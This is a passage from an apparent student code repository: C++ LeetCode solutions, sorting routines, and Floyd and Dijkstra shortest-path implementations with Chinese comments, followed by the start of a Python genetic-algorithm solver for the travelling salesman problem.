}\r\n};"},{"alpha_fraction":0.363778293132782,"alphanum_fraction":0.37548789381980896,"avg_line_length":28.452381134033203,"blob_id":"318718580cc626ff3539f25e1a7d982ba73c8482","content_id":"07b19fcff3d54c10266b2f10f10b88707d59d2ff","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1345,"license_type":"no_license","max_line_length":72,"num_lines":42,"path":"/leetcode/leetcode15.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 15.三数之和\r\n\r\nclass Solution {\r\npublic:\r\n vector<vector<int>> threeSum(vector<int>& nums) {\r\n vector<vector<int>> res;\r\n // 特判\r\n if(nums.size()<3) return res;\r\n sort(nums.begin(), nums.end());\r\n int i = 0;\r\n // 只要搜索到数组的倒数第三个就可以了，之后凑不齐3个数了\r\n while (i < nums.size()-2)\r\n {\r\n if(nums[i] > 0) return res;\r\n int left = i+1, right = nums.size()-1;\r\n while (left < right)\r\n {\r\n if(nums[i]+nums[left]+nums[right] == 0){\r\n res.push_back({nums[i],nums[left],nums[right]});\r\n while(left < right && nums[left] == nums[left+1]){\r\n left++;\r\n }\r\n while(left < right && nums[right] == nums[right-1]){\r\n right--;\r\n }\r\n left++;\r\n right--;\r\n } else if(nums[i]+nums[left]+nums[right] < 0){\r\n left++;\r\n } else right--;\r\n }\r\n while(i < nums.size()-2 && nums[i] == nums[i+1]){\r\n i++;\r\n }\r\n i++;\r\n }\r\n return res;\r\n }\r\n};\r\n\r\n"},{"alpha_fraction":0.38492199778556824,"alphanum_fraction":0.3903883397579193,"avg_line_length":26.3258056640625,"blob_id":"d6816a28c1b9602b686b1998e2aa0754c85615d8","content_id":"9274e8eebd9d10310b5a166179777ebf12ed5d96","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":10223,"license_type":"no_license","max_line_length":101,"num_lines":310,"path":"/C/sorted.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<stdlib.h>\r\n#include<limits.h>\r\n#include<stdio.h>\r\n#include<vector>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\n\r\nstruct LinkNode\r\n {\r\n int key;\r\n LinkNode *next;\r\n LinkNode(int x) : key(x), next(NULL) {}\r\n }; \r\n\r\n\r\nclass sort_Insert //直接插入排序\r\n{ \r\npublic:\r\n\r\n /* 一、数组排序 */\r\n // 基本思想：从有序界开始与当前数字进行比较，如果比当前数字大，有序界数字向后移动\r\n void sort_InsertArray(int array[],int n) { \r\n int i , p;\r\n for (p = 1; p < n; p++) //排序界从1开始\r\n {\r\n int temp = array[p];\r\n for (i = p-1; i>0 && array[i]>temp ; i--)\r\n {\r\n array[i] = array[i-1]; //将比待排序数字大的数字都向后移一位\r\n }\r\n array[i] = temp;\r\n }\r\n }\r\n\r\n /*二、链表排序*/\r\n LinkNode* sort_InsertLink(LinkNode* head){\r\n if(head==NULL || head->next==NULL) return head;\r\n\r\n //定义伪头结点Tower\r\n LinkNode* Tower = new LinkNode(INT_MIN);\r\n Tower->next = head;\r\n\r\n //pre指向上一次移动的结点、end指向有序边界结点、now指向正在排序的结点\r\n LinkNode *pre=Tower, *end=Tower, *now=head;\r\n while (now)\r\n {\r\n if (now->key > end->key) //这种情况不变化\r\n {\r\n end = end->next;\r\n now = now->next;\r\n }\r\n else\r\n {\r\n if (now->key < pre->key) //正在排序的数比上次排序的数小，说明要进行移动，将pre置于头结点\r\n {\r\n pre = Tower;\r\n }\r\n while (pre->next && pre->next->key < now->key) //找到要操作的结点\r\n {\r\n pre = pre->next;\r\n }\r\n LinkNode* temp = now->next; //先保留下一个要操作的结点位置\r\n now->next = pre->next; //将正在排序的数与其后面的结点相连\r\n pre->next = now; //pre为上次移动的结点，因此置于正在操作的结点处\r\n end->next = temp; //有序界向后移动\r\n now = end->next; //更新正在操作的结点\r\n } \r\n }\r\n LinkNode* res = Tower->next;\r\n delete Tower;\r\n return res;\r\n }\r\n\r\n LinkNode* sort_InsertComplex(LinkNode* head){\r\n if (head==NULL || head->next==NULL) return head;\r\n LinkNode *Tower = new LinkNode(INT_MIN); // Tower是伪头结点，指向头结点\r\n Tower->next = head;\r\n LinkNode *p = Tower, *end = Tower, *cur = head; // p用于从头搜索数值，end用于确定已有序的区间，cur为正在排序的结点\r\n while (cur)\r\n {\r\n if (cur->key > end->key) // 这种情况顺序是合理的\r\n {\r\n end = end->next;\r\n cur = cur->next;\r\n }\r\n else \r\n {\r\n p = Tower; // 先将用于搜索的指针置于伪头\r\n while (p->next && p->next->key < cur->key)\r\n {\r\n p = p->next; // 找到要移动的结点\r\n } \r\n LinkNode *temp = cur->next; //正在排序部分的局部顺序应该是 head-->...->cur->p->...->end->temp->...\r\n cur->next = p->next; \r\n p->next = cur;\r\n end->next = temp;\r\n cur = end->next; \r\n } \r\n }\r\n return Tower->next; // 返回头结点\r\n }\r\n\r\n LinkNode* creatLink(){\r\n LinkNode *head = new LinkNode(INT_MIN);\r\n LinkNode *pre = new LinkNode(INT_MIN);\r\n pre = head;\r\n for (int i = 8; i >= 0; i--)\r\n {\r\n LinkNode *p = new LinkNode(0);\r\n p->key = i;\r\n pre->next = p;\r\n pre = p;\r\n }\r\n return head;\r\n }\r\n \r\n void print(LinkNode *head){\r\n while (head->next)\r\n {\r\n printf(\"%d \",head->next->key);\r\n head = head->next;\r\n }\r\n }\r\n};\r\n\r\nclass sort_Bubble //冒泡排序\r\n{\r\npublic:\r\n /*一、数组排序*/\r\n void sort_BubbleArray(int array[],int n){\r\n bool flag; // 指示是否发生元素移动，如果没发生，说明已经有序，终止排序\r\n for (int i = n-1; i >= 0; i--) //由于每轮排序将最大的数排至末尾，因此要指定末尾的位置\r\n {\r\n flag = false;\r\n for (int j = 0; j < i; j++)\r\n {\r\n if (array[j]>array[j+1])\r\n {\r\n int temp = array[j];\r\n array[j] = array[j+1];\r\n array[j+1] = temp;\r\n flag = true;\r\n } \r\n }\r\n if(!flag) break; \r\n } \r\n }\r\n\r\n /*二、链表排序*/\r\n LinkNode* sort_BubbleLink(LinkNode* head){\r\n LinkNode *pre, *cur, *tail;\r\n tail = NULL;\r\n while (head->next != tail) // 根据冒泡排序的特性，每次会将最大数排至最后，因此设置尾指针区分排序区\r\n {\r\n pre = head;\r\n cur = head->next; // cur表示正在排序的位置\r\n while (cur->next != tail) // 在有序区之前\r\n {\r\n if (cur->key > cur->next->key)\r\n {\r\n pre->next = cur->next;\r\n cur->next = pre->next->next;\r\n pre->next->next = cur;\r\n }\r\n else cur = cur->next;\r\n pre = pre->next; \r\n }\r\n tail = cur; // 每轮排序结束后更新界指针\r\n }\r\n return head; \r\n }\r\n};\r\n\r\nclass sort_Heap{ //堆排序\r\npublic:\r\n // 将以root为根的子树调整为大根堆\r\n void heap_Adjust(int array[],int root,int n){ \r\n int parent, child;\r\n int temp;\r\n temp = array[root]; // 每次比较是用传入的root节点的值与各个孩子节点进行比较\r\n for (parent = root; parent*2+1 < n; parent=child)\r\n {\r\n child = parent * 2 + 1;\r\n if (child!=n-1 && array[child]<array[child+1]) // 找出左右孩子的最大孩子\r\n child++;\r\n if (temp >= array[child]) break; //判断孩子值是否大于根值\r\n else\r\n {\r\n array[parent] = array[child];\r\n } \r\n }\r\n array[parent] = temp; // 最后剩下的空位就是parent的值应在的位置 \r\n }\r\n\r\n // 根据堆进行排序\r\n void sort_heap(int array[], int n){\r\n int i;\r\n for (i = n/2-1; i >= 0; i--) // 无序数组建堆\r\n {\r\n heap_Adjust(array,i,n);\r\n }\r\n for (i = n-1; i > 0; i--) // 弹出顶元素（排序过程）\r\n {\r\n int temp = array[0]; // 每次将待排序列最大值移至尾部，再重建堆，直到堆清空\r\n array[0] = array[i];\r\n array[i] = temp; \r\n heap_Adjust(array,0,i);\r\n } \r\n }\r\n};\r\n\r\nclass sort_Shell // 希尔排序\r\n{\r\npublic:\r\n void sort_shellArray(int array[],int n){\r\n int gap = n;\r\n int i, j, temp;\r\n for (gap>>=2; gap>0; gap>>=2){\r\n for (i = gap; i < n; i++)\r\n {\r\n j = 0;\r\n temp = array[i];\r\n for (j = i-gap; j>=0 && temp<array[j]; j = j-gap)\r\n {\r\n array[j + gap] = array[j];\r\n }\r\n array[j + gap] = temp;\r\n }\r\n }\r\n } \r\n};\r\n\r\nclass sort_Select // 直接选择排序\r\n{\r\npublic:\r\n void sort_SelectArray(int array[], int n){\r\n int index;\r\n int val;\r\n for (int i = 0; i < n-1; i++)\r\n {\r\n val = array[i];\r\n index = i;\r\n for (int j = i;j < n;j++)\r\n {\r\n if (array[j] < val)\r\n {\r\n index = j;\r\n val = array[j];\r\n }\r\n }\r\n int temp = array[i];\r\n array[i] = array[index];\r\n array[index] = temp;\r\n } \r\n }\r\n};\r\n\r\nclass sort_Quick{ // 快速排序\r\npublic:\r\n // 选定基准值\r\n int partition(int array[],int low,int high){\r\n int pivot = array[high]; // 取最后一个值作基准\r\n int i = low - 1; // i是小元素指针，j是大元素指针\r\n //j从数组头部开始，每发现一个比基准小的数，就将它换至i处\r\n //i每接受一个最小数，就+1，可以理解为开新格子放东西\r\n for (int j = low; j < high; j++)\r\n {\r\n if (array[j] <= pivot)\r\n {\r\n i++;\r\n int temp = array[i];\r\n array[i] = array[j];\r\n array[j] = temp;\r\n }\r\n }\r\n //在这里，i指向的是最靠近中部的比基准数小的值\r\n //i+1是第一个比基准数大的值，因此让其与基准交换，便可区分大小\r\n int temp = array[i+1];\r\n array[i+1] = array[high];\r\n array[high] = temp;\r\n return i+1; \r\n }\r\n // 快速排序 , 递归\r\n void sort_quick(int array[],int left,int right){\r\n if (left < right){\r\n int p = partition(array,left,right);\r\n sort_quick(array,left,p-1);\r\n sort_quick(array,p+1,right);\r\n } \r\n }\r\n};\r\n\r\nclass sort_Bucket{ // 桶排序\r\npublic:\r\n void sort_BucketArray(int array[],int n){\r\n vector<int> vec[n];\r\n for (int i = 0; i < n; i++){\r\n int bi = array[i];\r\n vec[bi].push_back(array[i]);\r\n }\r\n for (int i = 0; i < n; i++)\r\n sort(vec[i].begin(),vec[i].end());\r\n \r\n int index = 0;\r\n for (int i = 0; i < n; i++)\r\n for (int j = 0;j < vec[i].size(); j++)\r\n array[index++] = vec[i][j];\r\n }\r\n};\r\n"},{"alpha_fraction":0.3597733676433563,"alphanum_fraction":0.39376771450042725,"avg_line_length":17.61111068725586,"blob_id":"1ee0dd284729a04b4ad926c8fec98aca6f34b856","content_id":"e351c8975ae54edc97d1f75831cd4a11d577b67e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":357,"license_type":"no_license","max_line_length":36,"num_lines":18,"path":"/leetcode/leetcode263.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 263.丑数\r\n\r\nclass Solution {\r\npublic:\r\n bool isUgly(int n) {\r\n if(n <= 0) return false;\r\n int arr[3] = {2,3,5};\r\n for(int i = 0;i < 3;i++){\r\n while(n % arr[i] == 0) {\r\n n /= arr[i];\r\n }\r\n }\r\n return n == 1;\r\n }\r\n};\r\n"},{"alpha_fraction":0.3565604090690613,"alphanum_fraction":0.36767977476119995,"avg_line_length":21.59649085998535,"blob_id":"e252216e46a6114ad286216bf57ee3bf37bb6fda","content_id":"06c4d4436e57aae375667a866ce2a8e6c3a6770d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1517,"license_type":"no_license","max_line_length":102,"num_lines":57,"path":"/C/Floyd.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\n/*\r\n原理：\r\n 如果有一个点 K ，使得 i-->K-->j 的距离小于 i-->j 的距离\r\n 则：用点 K作为点(i,j)的中介点\r\n\r\n伪代码：\r\n void Floyd() {\r\n 枚举顶点 K：\r\n 以 K作为中介点，枚举顶点 i，j：\r\n if (dist[i][k] + dist[k][j] < dist[i][j])\r\n {\r\n dist[i][j] = dist[i][k] + dist[k][j]\r\n }\r\n }\r\n*/\r\n\r\nconst int MAX = 200;\r\nint n, m;\r\nint dist[MAX][MAX]; // 默认为 INT_MAX\r\n\r\n// 算法\r\nvoid Floyd() {\r\n for (int k = 0; k < n; k++)\r\n for (int i = 0; i < n; i++)\r\n for (int j = 0; j < n; j++)\r\n if(dist[i][k] != INT_MAX && dist[k][j] != INT_MAX && dist[i][k]+dist[k][j]<dist[i][j])\r\n dist[i][j] = dist[i][k] + dist[k][j];\r\n}\r\n\r\nint main() {\r\n int x,y,w;\r\n fill(dist[0],dist[0]+MAX*MAX,INT_MAX);\r\n scanf(\"%d%d\",&n,&m); // 顶点数与边数\r\n for (int i = 0; i < n; i++){ \r\n // 点到自己的距离为 0\r\n dist[i][i] = 0;\r\n }\r\n for (int i = 0; i < m; i++)\r\n {\r\n // 输入边的权重与边的两顶点\r\n scanf(\"%d%d%d\",&x,&y,&w);\r\n dist[x][y] = w;\r\n }\r\n Floyd();\r\n for (int i = 0; i < n; i++){\r\n for (int j = 0; j < n; j++){\r\n if (dist[i][j] != INT_MAX)\r\n printf(\"%d--%d = %d\\n\",i,j,dist[i][j]);\r\n }\r\n // printf(\"\\n\");\r\n } \r\n return 0;\r\n}\r\n\r\n\r\n"},{"alpha_fraction":0.455798864364624,"alphanum_fraction":0.4785076975822449,"avg_line_length":26.674419403076172,"blob_id":"0478152d4d679012e510c1348f0ba7c427e3d1e9","content_id":"ee2f011a2effab6277776e447650cab7a10552da","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1247,"license_type":"no_license","max_line_length":63,"num_lines":43,"path":"/leetcode/leetcode23.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 23.合并k个升序链表\r\n\r\nstruct ListNode {\r\n int val;\r\n ListNode *next;\r\n ListNode() : val(0), next(nullptr) {}\r\n ListNode(int x) : val(x), next(nullptr) {}\r\n ListNode(int x, ListNode *next) : val(x), next(next) {}\r\n};\r\n\r\nclass Solution {\r\npublic:\r\n ListNode* mergeKLists(vector<ListNode*>& lists) {\r\n ListNode *tower = nullptr;\r\n for(int i = 0; i < lists.size(); i++){\r\n tower = mergeTwoLists(tower,lists[i]);\r\n }\r\n return tower;\r\n }\r\n\r\n ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {\r\n if(l1 == nullptr && l2 != nullptr) return l2;\r\n else if(l1 != nullptr && l2 == nullptr) return l1;\r\n else if(l1 == nullptr && l2 == nullptr) return nullptr;\r\n ListNode *head = new ListNode(1);\r\n ListNode *ret = head;\r\n while (l1 != NULL && l2 != NULL){\r\n if (l1->val <= l2->val){\r\n ret->next = l1;\r\n l1 = l1->next;\r\n } else{\r\n ret->next = l2;\r\n l2 = l2->next;\r\n }\r\n ret = ret->next;\r\n }\r\n ret->next = l1 == NULL ? l2 : l1;\r\n return head->next;\r\n }\r\n};\r\n"},{"alpha_fraction":0.5370370149612427,"alphanum_fraction":0.5555555820465088,"avg_line_length":17.81818199157715,"blob_id":"ae7353ca375c558d969154c2ba545c98a7f8cb8a","content_id":"b37c54e78ff24b82b35aff1c9a03990cce201e95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":238,"license_type":"no_license","max_line_length":63,"num_lines":11,"path":"/leetcode/leetcode_sword65.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 剑指offer-65. 不用加减乘除做加法\r\n\r\nclass Solution {\r\npublic:\r\n int add(int a, int b) {\r\n return b == 0 ? a : add(a^b, (unsigned int)(a&b) << 1);\r\n }\r\n};"},{"alpha_fraction":0.3787755072116852,"alphanum_fraction":0.38938775658607483,"avg_line_length":23.040817260742188,"blob_id":"7e830d55345b4839e0a83c7f6f0081f5dfe5a359","content_id":"190352669cbd1c165fecd0540815af5bf418bbe8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1579,"license_type":"no_license","max_line_length":70,"num_lines":49,"path":"/leetcode/leetcode880.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 880. 索引处的解码字符串\r\n\r\n/*\r\n思路：\r\n1.首先遍历整个字符串，记录最终字符串的长度：\r\n 若当前解析出的字符串长度 < K,继续解析；\r\n 若 > K,停止解析\r\n2. 当前字符串长度为 sum>K\r\n 从停止解析前最后遍历的字符 S[i] 开始回退：\r\n 若该字符c为数字，则 sum/c（因为说明总长度遇到这个数字后重复了c遍）\r\n 若 sum/c < K，说明第 K位在 sum/c ~ sum这段区间内，且结果字符存在于 sum/c这段字符串内；\r\n 则 K %= (sum/c) ，如果 K=0，则退出搜索，结果为 S[i]\r\n 若该字符c为字母，则 sum--\r\n i--\r\n 当前字符串长度 sum == K，退出搜索，结果为 S[i]\r\n3. \r\n\r\n*/\r\n\r\nclass Solution {\r\npublic:\r\n string decodeAtIndex(string S, int K) {\r\n string ans;\r\n int n = S.length();\r\n long sum = 0, i = 0; \r\n for (; i < n; i++) { \r\n if (isalpha(S[i])) sum++;\r\n else { sum *= (S[i] - '0'); }\r\n if (sum >= K) break;\r\n }\r\n for (; i >= 0; i--) {\r\n if (sum > K){\r\n if (isdigit(S[i])) {\r\n sum /= (S[i] - '0');\r\n if (K > sum){\r\n K %= sum;\r\n if (K == 0) break;\r\n }\r\n } else sum--;\r\n } else if (sum == K) break;\r\n }\r\n while (isdigit(S[i])) i--;\r\n ans += S[i];\r\n return ans;\r\n }\r\n};"},{"alpha_fraction":0.3832857012748718,"alphanum_fraction":0.39500001072883606,"avg_line_length":21.72881317138672,"blob_id":"cce2ef1bacd7d81b3ed5ddbc881795aa599591d1","content_id":"9ba38ea2d309717fc3742a9b98dfb3d1d29299c4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":8664,"license_type":"no_license","max_line_length":108,"num_lines":295,"path":"/C/dijkstra.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n#define MAX 500\r\n\r\n/* dijkstra 计算最短距离的伪代码\r\n\r\n#define MAX 500\r\nint Graph[MAX][MAX];\r\nint dist[MAX]; \r\nbool visit[MAX];\r\n\r\nvoid dijkstra(int start)\r\n{\r\n 初始化dist (1) \r\n for(循环n次) \r\n {\r\n u = dist[MAX]中最小且没被访问过的顶点 (2)\r\n visit[u] = true\r\n for(从u出发能到达的所有顶点k) (3)\r\n {\r\n if(k没被访问过 && 以u为中转点的start-->k的距离比dist[k]小) (4)\r\n {\r\n 更新dist[k] (5)\r\n }\r\n }\r\n }\r\n}\r\n*/\r\n\r\nint Graph[MAX][MAX];\r\nint dist[MAX];\r\nbool visit[MAX];\r\n\r\nvoid dijkstra_1(int start){ // dijkstra计算最短距离\r\n\r\n // （1）. 初始化dist\r\n fill(dist,dist+MAX,INT_MAX); \r\n dist[start] = 0;\r\n\r\n // （2）.找到dist[]中最小且没被访问过的点\r\n\r\n for(int i = 0; i < MAX;i++)\r\n {\r\n int u = -1, minDist = INT_MIN;\r\n for(int j = 0;j < MAX;j++)\r\n {\r\n if(!visit[j] && dist[j]<minDist)\r\n {\r\n u = j;\r\n minDist = dist[j];\r\n }\r\n }\r\n \r\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记visit[u]为true\r\n if(u == -1) return;\r\n visit[u] = true;\r\n\r\n // （4）. 遍历从u能到达的所有点并更新dist[]\r\n for(int k = 0;k < MAX;k++)\r\n {\r\n // k没被访问过 && u与k之间是连通的 && “起点-->u-->k”的距离比现有的“起点-->k”更短\r\n if(!visit[k] && Graph[u][k]!=INT_MAX && dist[u] + Graph[u][k] < dist[k])\r\n {\r\n dist[k] = dist[u] + Graph[u][k];\r\n }\r\n }\r\n }\r\n}\r\n\r\n\r\n/* 修改： dijkstra 解最短路径\r\n\r\n需要增添一个 preNode[MAX],记录点k的前驱\r\n代码上只需要在第一部分伪代码的序号（5）后面增加一条：\r\n\r\n \"令k的前驱为u\" (6)\r\n\r\nvoid dijkstra(int start)\r\n{\r\n 初始化dist (1) \r\n for(循环n次) \r\n {\r\n u = dist[MAX]中最小且没被访问过的顶点 (2)\r\n visit[u] = true\r\n for(从u出发能到达的所有顶点k) (3)\r\n {\r\n if(k没被访问过 && 以u为中转点的start-->k的距离比dist[k]小) (4)\r\n {\r\n 更新dist[k] (5)\r\n 令k的前驱为u (6)\r\n }\r\n }\r\n }\r\n}\r\n\r\n但是preNode中得到的是每个顶点的直接前驱，想要得到完整的最短路径，需要用 DFS不断递归寻找前驱，直到到达 start\r\n\r\n*/\r\n\r\nint preNode[MAX];\r\n\r\nvoid dijkstra_2(int start)\r\n{\r\n // （1）初始化 dist[] 和 preNode[]\r\n fill(dist,dist+MAX,INT_MAX);\r\n dist[start] = 0;\r\n for(int i = 0;i < MAX;i++) preNode[i] = i;\r\n\r\n // （2）.找到dist[]中最小且没被访问过的点\r\n for(int i = 0; i < MAX;i++)\r\n {\r\n int u = -1, minDist = INT_MIN;\r\n for(int j = 0;j < MAX;j++)\r\n {\r\n if(!visit[j] && dist[j]<minDist)\r\n {\r\n u = j;\r\n minDist = dist[j];\r\n }\r\n }\r\n \r\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记visit[u]为true\r\n if(u == -1) return;\r\n visit[u] = true;\r\n\r\n // （4）. 遍历从u能到达的所有点并更新dist[]\r\n for(int k = 0;k < MAX;k++)\r\n {\r\n // k没被访问过 && u与k之间是连通的 && “起点-->u-->k”的距离比现有的“起点-->k”更短\r\n if(!visit[k] && Graph[u][k]!=INT_MAX && dist[u] + Graph[u][k] < dist[k])\r\n {\r\n dist[k] = dist[u] + Graph[u][k];\r\n preNode[k] = u; // 更新前驱\r\n }\r\n } \r\n } \r\n}\r\n\r\n\r\n/* 附加条件：如果对每条边增加一个边权(额外开销)，求在最短路径有多少条时要求路径上的花费之和最大/小\r\n\r\n新增一个开销矩阵 Cost[MAX][MAX]\r\n并对第一段伪代码的序号 （3）修改\r\n*/\r\n\r\nint C[MAX][MAX];\r\nint cost[MAX];\r\n\r\nvoid dijkstra_3(int start)\r\n{\r\n // （1）初始化 dist[] \r\n fill(dist,dist+MAX,INT_MAX);\r\n dist[start] = 0;\r\n\r\n // （2）.找到dist[]中最小且没被访问过的点\r\n for(int i = 0; i < MAX;i++)\r\n {\r\n int u = -1, minDist = INT_MIN;\r\n for(int j = 0;j < MAX;j++)\r\n {\r\n if(!visit[j] && dist[j]<minDist)\r\n {\r\n u = j;\r\n minDist = dist[j];\r\n }\r\n }\r\n \r\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\r\n if(u == -1) return;\r\n visit[u] = true;\r\n\r\n // （4）.在更新 dist[] 的同时，更新 cost[]\r\n for(int k = 0;k < MAX;k++)\r\n {\r\n if(!visit[k] && Graph[u][k] != INT_MAX)\r\n {\r\n if(dist[u] + Graph[u][k] < dist[k]) // 先找最短距离\r\n {\r\n dist[k] = dist[u] + Graph[u][k];\r\n cost[k] = cost[u] + C[u][k];\r\n } \r\n else if(dist[u] + Graph[u][k] == dist[k] && cost[u] + C[u][k] < cost[k]){ // 是最短距离，但开销更小/大\r\n cost[k] = cost[u] + C[u][k];\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\n/* 附加条件：如果对每个点都增加点权，球最短路径有多条时，要求点权之和最大\r\n与上面的边权类似，依然对（3）修改，增加一个 W[MAX],每次在更新最短距离时更新 weight[]\r\n\r\n*/\r\n\r\nint W[MAX];\r\nint weight[MAX];\r\n\r\nvoid dijkstra_4(int start)\r\n{\r\n // （1）初始化 dist[] \r\n fill(dist,dist+MAX,INT_MAX);\r\n dist[start] = 0;\r\n\r\n // （2）.找到dist[]中最小且没被访问过的点\r\n for(int i = 0; i < MAX;i++)\r\n {\r\n int u = -1, minDist = INT_MIN;\r\n for(int j = 0;j < MAX;j++)\r\n {\r\n if(!visit[j] && dist[j]<minDist)\r\n {\r\n u = j;\r\n minDist = dist[j];\r\n }\r\n }\r\n \r\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\r\n if(u == -1) return;\r\n visit[u] = true;\r\n\r\n // （4）.在更新 dist[] 的同时，更新 cost[]\r\n for(int k = 0;k < MAX;k++)\r\n {\r\n if(!visit[k] && Graph[u][k] != INT_MAX)\r\n {\r\n if(dist[u] + Graph[u][k] < dist[k]) // 先找最短距离\r\n {\r\n dist[k] = dist[u] + Graph[u][k];\r\n weight[k] = weight[u] + W[k];\r\n } \r\n else if(dist[u] + Graph[u][k] == dist[k] && weight[u] + W[k] < weight[k]){ // 是最短距离，但开销更小/大\r\n weight[k] = weight[u] + W[k];\r\n }\r\n }\r\n } \r\n } \r\n}\r\n\r\n/* 附加： 当最短路径不止一条，求最短路径条数\r\n增加一个记录 start-->u 的最短路径条数的数组 roadNum[MAX]\r\n初始条件下，roadNum[start]=1,其它为0；\r\n每次更新最短距离时，令 roadNum[k]继承 roadNum[u]；\r\n当最短距离相同，将 roadNum[u] 加到 roadNum[k]上\r\n\r\n修改的位置依旧是 （3）\r\n\r\n*/\r\n\r\nint roadNum[MAX];\r\n\r\nvoid dijkstra_5(int start)\r\n{\r\n // （1）初始化 dist[] ，roadNum[]\r\n fill(dist,dist+MAX,INT_MAX);\r\n fill(roadNum,roadNum+MAX,0);\r\n dist[start] = 0;\r\n roadNum[start] = 1;\r\n\r\n\r\n // （2）.找到dist[]中最小且没被访问过的点\r\n for(int i = 0; i < MAX;i++)\r\n {\r\n int u = -1, minDist = INT_MIN;\r\n for(int j = 0;j < MAX;j++)\r\n {\r\n if(!visit[j] && dist[j]<minDist)\r\n {\r\n u = j;\r\n minDist = dist[j];\r\n }\r\n }\r\n \r\n\r\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\r\n if(u == -1) return;\r\n visit[u] = true;\r\n\r\n // （4）.在判定计算最短距离后更新最短路径条数\r\n for(int k = 0;k < MAX;k++)\r\n {\r\n if(!visit[k] && Graph[u][k] != INT_MAX)\r\n {\r\n if(dist[u] + Graph[u][k] < dist[k])\r\n {\r\n dist[k] = dist[u] + Graph[u][k];\r\n roadNum[k] = roadNum[u];\r\n }\r\n else if(dist[u] + Graph[u][k] == dist[k])\r\n {\r\n roadNum[k] = roadNum[k] + roadNum[u];\r\n }\r\n }\r\n }\r\n }\r\n}\r\n"},{"alpha_fraction":0.4045138955116272,"alphanum_fraction":0.4149305522441864,"avg_line_length":23.130434036254883,"blob_id":"464c735279187bfe7f19fa980532a30569e74a95","content_id":"0ab36f214c9094317620621a94ef11484f06d70a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":588,"license_type":"no_license","max_line_length":61,"num_lines":23,"path":"/leetcode/leetcode14.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 14.最长公共子串\r\n\r\nclass Solution {\r\npublic:\r\n string longestCommonPrefix(vector<string>& strs) {\r\n if(strs.size() == 0) return \"\";\r\n string res = \"\", first = strs[0];\r\n char c;\r\n for(int i = 0;i < first.length();i++){\r\n c = first[i];\r\n for(int j = 1;j < strs.size();j++){\r\n if(i == strs[j].length() || strs[j][i] != c){\r\n return res;\r\n }\r\n }\r\n res += c;\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.4541501998901367,"alphanum_fraction":0.47648221254348755,"avg_line_length":25.351350784301758,"blob_id":"51a4edb2743f0c0e6d6d619781fe659ef3d3e9a1","content_id":"cf0bfe46eab98ae23ba35954b7132d4f31fd562f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5463,"license_type":"no_license","max_line_length":116,"num_lines":185,"path":"/python/TSP_GA.py","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# 个体类\r\nclass Indv:\r\n # 传入个体的基因\r\n def __init__(self, gene):\r\n self.gene = gene\r\n self.score = -1\r\n\r\n\r\nclass GA:\r\n def __init__(self, Pc, Pm, indvNums, scoreFunc, geneLength):\r\n '''\r\n :param Pc: 交叉概率\r\n :param Pm: 变异概率\r\n :param indvNums: 个体数量\r\n :param scoreFunc: 适应度函数\r\n :param geneLength: 基因长度\r\n '''\r\n self.Pc = Pc\r\n self.Pm = Pm\r\n self.indvNums = indvNums\r\n self.scoreFunc = scoreFunc\r\n self.geneLength = geneLength\r\n\r\n self.Groups = []\r\n self.t = 0\r\n self.Optimal = None\r\n self.crossNums = 0\r\n self.mutationNums = 0\r\n self.scoreSum = 0.0\r\n\r\n self.initialize()\r\n\r\n def initialize(self):\r\n self.Groups = []\r\n for i in range(self.indvNums):\r\n # 1. gene = [0,1,2...genelength]\r\n gene = [i for i in range(self.geneLength)]\r\n # 2. 打乱 gene\r\n np.random.shuffle(gene)\r\n # 3. 新个体\r\n indv = Indv(gene)\r\n self.Groups.append(indv)\r\n\r\n # 计算适应度\r\n def fitness(self):\r\n # 1. 初始化\r\n self.scoreSum = 0.0\r\n self.Optimal = self.Groups[0]\r\n for indv in self.Groups:\r\n # 2. 计算个体适应度\r\n indv.score = self.scoreFunc(indv)\r\n self.scoreSum += indv.score\r\n # 3. 更新最优个体\r\n if self.Optimal.score > 